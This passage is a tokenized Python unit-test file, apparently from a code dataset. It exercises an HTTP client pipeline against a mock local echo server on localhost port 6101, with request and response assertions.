"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "server_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Client_", "=_", "server_", "._", "ix", "es_", "._", "values_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Client_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "msg", "In_", "==_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "local", "host", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ix", "Client_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "122", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "{", "\"", "content", "\":", " ", "null", ",", " ", "\"", "query", "\":", " ", "{", "\"", "name", "\":", " ", "\"", "fam", "e", "\"},", " ", "\"", "verb", "\":", " ", "\"", "GET", "\",", " ", "\"", "url", "\":", " ", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "\",", " ", "\"", "action", "\":", " ", "null", "}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Client_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "server_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Patr", "on", "Pipe", "line", "Ech", "o", "Simple", "Path_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Patr", "on", " ", "pipeline", " ", "servic", "ing", " ", "usi", "ng", " ", "path", " ", "component", "s", " ", "for", " ", "host", " ", "port", " ", "sche", "me", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Patr", "on", "Pipe", "line", "Ech", "o", "Simple", "Path_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Connect", "or", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "host", " ", "=", " ", "alpha", ".", "eh", "a", "[", "0", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", "port", " ", "=", " ", "alpha", ".", "eh", "a", "[", "1", "]_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "\"", "http", "://", "{", "0", "}:", "{", "1", "}/", "\"_", "._", "format_", "(_", "'", "local", "host", "'_", ",_", "alpha_", "._", "eh", "a_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "client", "ing_", "._", "Patr", "on_", "(_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reconnect", "able_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "odict_", "(_", "[_", "(_", "'", "method", "'_", ",_", "u", "'", "GET", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "path", "'_", ",_", "u", "'/", "echo", "?", "name", "=", "fam", "e", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "qa", "rg", "s", "'_", ",_", "odict_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "fragment", "'_", ",_", "u", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "header", "s", "'_", ",_", "odict_", "(_", "[_", "(_", "'", "Accept", "'_", ",_", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "body", "'_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "not_", "alpha_", "._", "ix", "es_", "or_", "beta_", "._", "requests_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mock", "Ech", "o", "Service", "Path_", "(_", "alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "local", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "http", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "not_", "alpha_", "._", "ix", "es_", "or_", "beta_", "._", "requests_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mock", "Ech", "o", "Service", "Path_", "(_", "alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "local", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "http", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Patr", "on", "Pipe", "line", "Ech", "o", "Simple", "Path", "Track_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Patr", "on", " ", "pipeline", " ", "servic", "ing", " ", "usi", "ng", " ", "path", " ", "component", "s", " ", "for", " ", "host", " ", "port", " ", "sche", "me", "\\", "10", ";", " ", " ", " ", " ", "Request", " ", "include", "s", " ", "track", "ing", " ", "informati", "on", " ", "tha", "t", " ", "is", " ", "include", "d", " ", "in", " ", "repon", "ses", " ", "copy", "\\", "10", ";", " ", " ", " ", " ", "of", " ", "request", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Patr", "on", "Pipe", "line", "Ech", "o", "Simple", "Path", "Track_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Connect", "or", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "host", " ", "=", " ", "alpha", ".", "eh", "a", "[", "0", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", "port", " ", "=", " ", "alpha", ".", "eh", "a", "[", "1", "]_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "\"", "http", "://", "{", "0", "}:", "{", "1", "}/", "\"_", "._", "format_", "(_", "'", "local", "host", "'_", ",_", "alpha_", "._", "eh", "a_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "client", "ing_", "._", "Patr", "on_", "(_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reconnect", "able_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "odict_", "(_", "[_", "(_", "'", "method", "'_", ",_", "u", "'", "GET", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "path", "'_", ",_", "u", "'/", "echo", "?", "name", "=", "fam", "e", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "qa", "rg", "s", "'_", ",_", "odict_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "fragment", "'_", ",_", "u", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "header", "s", "'_", ",_", "odict_", "(_", "[_", "(_", "'", "Accept", "'_", ",_", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "body", "'_", ",_", "None_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "mid", "'_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "drop", "'_", ",_", "'.", "stu", "ff", ".", "repl", "y", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "not_", "alpha_", "._", "ix", "es_", "or_", "beta_", "._", "requests_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mock", "Ech", "o", "Service", "Path_", "(_", "alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", 